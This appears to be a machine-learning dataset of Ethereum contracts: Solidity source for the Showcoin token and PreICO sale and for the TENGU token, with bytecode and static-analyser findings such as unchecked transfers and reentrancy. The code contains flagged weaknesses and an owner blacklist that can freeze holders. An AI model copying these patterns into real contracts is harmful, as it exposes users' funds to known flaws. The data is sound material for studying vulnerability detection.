002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061239661271061238860035488612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156123a85760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841015612464576123e38585612c0690919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124778386612c0690919063ffffffff16565b91506124cb85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256082600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561270a5761261f83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156127dc57600080fd5b6128056127106127f760035487612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156128175760045492505b61282a8385612c0690919063ffffffff16565b915061287e84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291382600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612abd576129d283600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b3e5760009150612b5d565b8284029050828482811515612b4f57fe5b04141515612b5957fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612bf957fe5b0490508091505092915050565b6000828211151515612c1457fe5b818303905092915050565b6000808284019050838110151515612c3357fe5b80915050929150505600a165627a7a723058200a6aa75608893b60d7e0b147f263290be585cd6595851f6a2e4cf5dc3dc134260029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 890 |
0xcf8dc49d37659414d09907d8336622f2ae287004 | pragma solidity 0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ShortAddressProtection {
modifier onlyPayloadSize(uint256 numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, ShortAddressProtection {
using SafeMath for uint256;
mapping(address => uint256) public balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) onlyPayloadSize(2) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) onlyPayloadSize(2) public returns (bool) {
//require user to set to zero before resetting to nonzero
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) onlyPayloadSize(2) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) onlyPayloadSize(2) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Showcoin token
*/
contract Showcoin is Ownable, StandardToken {
string public constant name = "Showcoin";
string public constant symbol = "SHC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 69000000 * (10 ** uint256(decimals));
function Showcoin() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
contract PreICO is Ownable {
using SafeMath for uint256;
Showcoin public token;
uint256 public constant rate = 2000;
uint256 public endTime;
address public wallet;
uint256 public constant tokenSaleLimit = 3000000 * (10 ** 18);
uint256 public tokenRaised;
bool public finished;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finish();
function PreICO(address _token, uint256 _endTime, address _wallet) public {
require(_token != address(0));
require(_wallet != address(0));
require(_endTime > now);
token = Showcoin(_token);
wallet = _wallet;
endTime = _endTime;
}
function setStopDate(uint256 _endTime) onlyOwner public {
require(_endTime > endTime);
endTime = _endTime;
}
function transferTokens(address _to, uint256 _amount) onlyOwner public {
require(_to != address(0));
// update state
tokenRaised = tokenRaised.add(_amount);
require(!hasEnded());
token.transfer(_to, _amount);
}
function setWallet(address _wallet) onlyOwner public {
require(_wallet != address(0));
wallet = _wallet;
}
function claimLeftTokens() onlyOwner public {
require(hasEnded());
require(!finished);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
finished = true;
Finish();
}
// fallback function can be used to buy tokens
function() external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
tokenRaised = tokenRaised.add(tokens);
require(!hasEnded());
// transfer tokens from this contract to beneficiary
token.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime || tokenRaised >= tokenSaleLimit;
}
} | 0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd1461019f57806323b872dd146101c457806327e235e3146101ec5780632ff2e9dc1461020b578063313ce5671461021e578063661884631461024757806370a08231146102695780638da5cb5b1461028857806395d89b41146102b7578063a9059cbb146102ca578063d73dd623146102ec578063dd62ed3e1461030e578063f2fde38b14610333575b600080fd5b34156100ea57600080fd5b6100f2610354565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012e578082015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017457600080fd5b61018b600160a060020a036004351660243561038b565b604051901515815260200160405180910390f35b34156101aa57600080fd5b6101b261043f565b60405190815260200160405180910390f35b34156101cf57600080fd5b61018b600160a060020a0360043581169060243516604435610445565b34156101f757600080fd5b6101b2600160a060020a03600435166105d5565b341561021657600080fd5b6101b26105e7565b341561022957600080fd5b6102316105f6565b60405160ff909116815260200160405180910390f35b341561025257600080fd5b61018b600160a060020a03600435166024356105fb565b341561027457600080fd5b6101b2600160a060020a0360043516610706565b341561029357600080fd5b61029b610721565b604051600160a060020a03909116815260200160405180910390f35b34156102c257600080fd5b6100f2610730565b34156102d557600080fd5b61018b600160a060020a0360043516602435610767565b34156102f757600080fd5b61018b600160a060020a0360043516602435610870565b341561031957600080fd5b6101b2600160a060020a0360043581169060243516610922565b341561033e57600080fd5b610352600160a060020a036004351661094d565b005b60408051908101604052600881527f53686f77636f696e000000000000000000000000000000000000000000000000602082015281565b60006002604436101561039a57fe5b8215806103ca5750600160a060020a03338116600090815260036020908152604080832093881683529290522054155b15156103d557600080fd5b600160a060020a03338116600081815260036020908152604080832094891680845294909152908190208690557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a35060019392505050565b60015481565b60006003606436101561045457fe5b600160a060020a038416151561046957600080fd5b600160a060020a03851660009081526002602052604090205483111561048e57600080fd5b600160a060020a03808616600090815260036020908152604080832033909416835292905220548311156104c157600080fd5b600160a060020a0385166000908152600260205260409020546104ea908463ffffffff6109e816565b600160a060020a03808716600090815260026020526040808220939093559086168152205461051f908463ffffffff6109fa16565b600160a060020a03808616600090815260026020908152604080832094909455888316825260038152838220339093168252919091522054610567908463ffffffff6109e816565b600160a060020a03808716600081815260036020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b60026020526000908152604090205481565b6a3913517ebd3c0c6500000081565b601281565b6000806002604436101561060b57fe5b600160a060020a0333811660009081526003602090815260408083209389168352929052205491508184111561066857600160a060020a03338116600090815260036020908152604080832093891683529290529081205561069f565b610678828563ffffffff6109e816565b600160a060020a033381166000908152600360209081526040808320938a16835292905220555b600160a060020a033381166000818152600360209081526040808320948a168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3506001949350505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031681565b60408051908101604052600381527f5348430000000000000000000000000000000000000000000000000000000000602082015281565b60006002604436101561077657fe5b600160a060020a038416151561078b57600080fd5b600160a060020a0333166000908152600260205260409020548311156107b057600080fd5b600160a060020a0333166000908152600260205260409020546107d9908463ffffffff6109e816565b600160a060020a03338116600090815260026020526040808220939093559086168152205461080e908463ffffffff6109fa16565b600160a060020a0380861660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a35060019392505050565b60006002604436101561087f57fe5b600160a060020a033381166000908152600360209081526040808320938816835292905220546108b5908463ffffffff6109fa16565b600160a060020a033381166000818152600360209081526040808320948a168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a35060019392505050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a0390811691161461096857600080fd5b600160a060020a038116151561097d57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828211156109f457fe5b50900390565b600082820183811015610a0957fe5b93925050505600a165627a7a72305820d32ad2cb0bd7a6fd5ba9d1ef147aeba848e574d30fa563ec933635fbbb4350f00029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 891 |
0x2c62682a5fe0157e54c06bccf5b4751ec793524b | /**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
// SPDX-License-Identifier: Unlicensed
// https://tengutoken.club
// https://t.me/tenguportal
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract TENGU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "TENGU";
string private constant _symbol = "TENGU";
uint private constant _decimals = 9;
uint256 private _teamFee = 10;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(5);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bc578063cf0848f7146103d1578063cf9d4afa146103f1578063dd62ed3e14610411578063e6ec64ec14610457578063f2fde38b1461047757600080fd5b8063715018a61461031f5780638da5cb5b1461033457806390d49b9d1461035c57806395d89b4114610172578063a9059cbb1461037c578063b515566a1461039c57600080fd5b806331c2d8471161010857806331c2d847146102385780633bbac57914610258578063437823ec14610291578063476343ee146102b15780635342acb4146102c657806370a08231146102ff57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101af57806318160ddd146101df57806323b872dd14610204578063313ce5671461022457600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610497565b005b34801561017e57600080fd5b50604080518082018252600581526454454e475560d81b602082015290516101a6919061190c565b60405180910390f35b3480156101bb57600080fd5b506101cf6101ca366004611986565b6104e3565b60405190151581526020016101a6565b3480156101eb57600080fd5b50678ac7230489e800005b6040519081526020016101a6565b34801561021057600080fd5b506101cf61021f3660046119b2565b6104fa565b34801561023057600080fd5b5060096101f6565b34801561024457600080fd5b50610170610253366004611a09565b610563565b34801561026457600080fd5b506101cf610273366004611ace565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561029d57600080fd5b506101706102ac366004611ace565b6105f9565b3480156102bd57600080fd5b50610170610647565b3480156102d257600080fd5b506101cf6102e1366004611ace565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030b57600080fd5b506101f661031a366004611ace565b610681565b34801561032b57600080fd5b506101706106a3565b34801561034057600080fd5b506000546040516001600160a01b0390911681526020016101a6565b34801561036857600080fd5b50610170610377366004611ace565b